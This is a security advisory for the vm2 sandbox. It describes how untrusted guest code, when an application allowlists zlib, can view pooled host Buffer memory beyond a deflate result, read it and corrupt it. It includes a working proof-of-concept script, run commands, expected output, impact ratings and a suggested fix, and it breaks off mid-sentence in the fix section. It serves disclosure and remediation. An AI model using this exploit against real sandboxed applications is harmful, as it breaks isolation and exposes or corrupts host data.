GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

• npm vm2: < 3.12.2 → fixed in 3.12.2

Summary When an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating. Technical Details `NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`. The relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof. PoV The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call. ```js const zlib = require('zlib'); const result = zlib.deflateSync(Buffer.from('hello')); const view = Buffer.from(result.buffer, 0, result.buffer.byteLength); const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]); let markerHits = 0; let firstMarker = -1; for (let offset = 0; offset = 0) view[firstMarker] ^= 0xff; module.exports = { route: { requireReturned: !!zlib && typeof zlib.deflateSync === 'function', deflateSyncReturnedBuffer: Buffer.isBuffer(result), returnedBufferShape: !!result && !!result.buffer, }, resultLength: result.length, resultBackingLength: result.buffer.byteLength, viewLength: view.length, fullBackingStoreView: view.byteOffset === 0 && view.length === result.buffer.byteLength && view.buffer.byteLength === result.buffer.byteLength, markerHits, firstMarker, }; ``` PoC Install the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code. ```sh npm install [email protected] node zlib-buffer-isolation-test.js attack hello node zlib-buffer-isolation-test.js control ``` ```js 'use strict'; const { NodeVM } = require('vm2'); const marker = 'VM2_ZLIB_POOL_SECRET_7b31'; const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0))); const retained = []; for (let index = 0; index { buffer[markerOffset + byteIndex] = byte; }); retained.push({ buffer, markerOffset }); } const snapshot = () => retained.map(({ buffer }) => Array.from(buffer)); const changed = (before, after) => before.some((bytes, index) => bytes.some((byte, byteIndex) => byte !== after[index][byteIndex])); const mode = process.argv[2] || 'attack'; const input = process.argv[3] || 'hello'; const before = snapshot(); const vm = new NodeVM({ require: { builtin: ['zlib'] } }); if (mode === 'control') { const control = vm.run(` const zlib = require('zlib'); const result = zlib.deflateSync(Buffer.from('hello')); const local = Buffer.allocUnsafe(1); const view = Buffer.from(local.buffer, 0, local.buffer.byteLength); module.exports = { route: !!zlib && typeof zlib.deflateSync === 'function' && Buffer.isBuffer(result), exactSize: local.byteOffset === 0 && local.buffer.byteLength === local.length && view.byteOffset === 0 && view.length === local.length && view.buffer.byteLength === local.length, }; `, 'zlib-buffer-case-a.js'); const passed = control.route && control.exactSize && !changed(before, snapshot()); console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' })); } else { const attack = vm.run(` const zlib = require('zlib'); const result = zlib.deflateSync(${JSON.stringify(input)}); const view = Buffer.from(result.buffer, 0, result.buffer.byteLength); const markerCodes = ${JSON.stringify(Array.from(markerCodes))}; let firstMarker = -1; for (let offset = 0; offset view[offset + byteIndex] === byte)) { firstMarker = offset; break; } } if (firstMarker >= 0) view[firstMarker] ^= 0xff; module.exports = { route: !!zlib && typeof zlib.deflateSync === 'function' && Buffer.isBuffer(result), fullView: view.byteOffset === 0 && view.length === result.buffer.byteLength && view.buffer.byteLength === result.buffer.byteLength, poolIsWider: result.buffer.byteLength > result.length, markerFound: firstMarker >= 0, }; `, 'zlib-buffer-case-b.js'); const passed = attack.route && attack.fullView && attack.poolIsWider && attack.markerFound && changed(before, snapshot()); console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' })); } ``` ```json {"mode":"attack","result":"violation"} {"mode":"control","result":"pass"} ``` The attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution. The reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`. Impact An affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution. Suggested Fix Before any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled…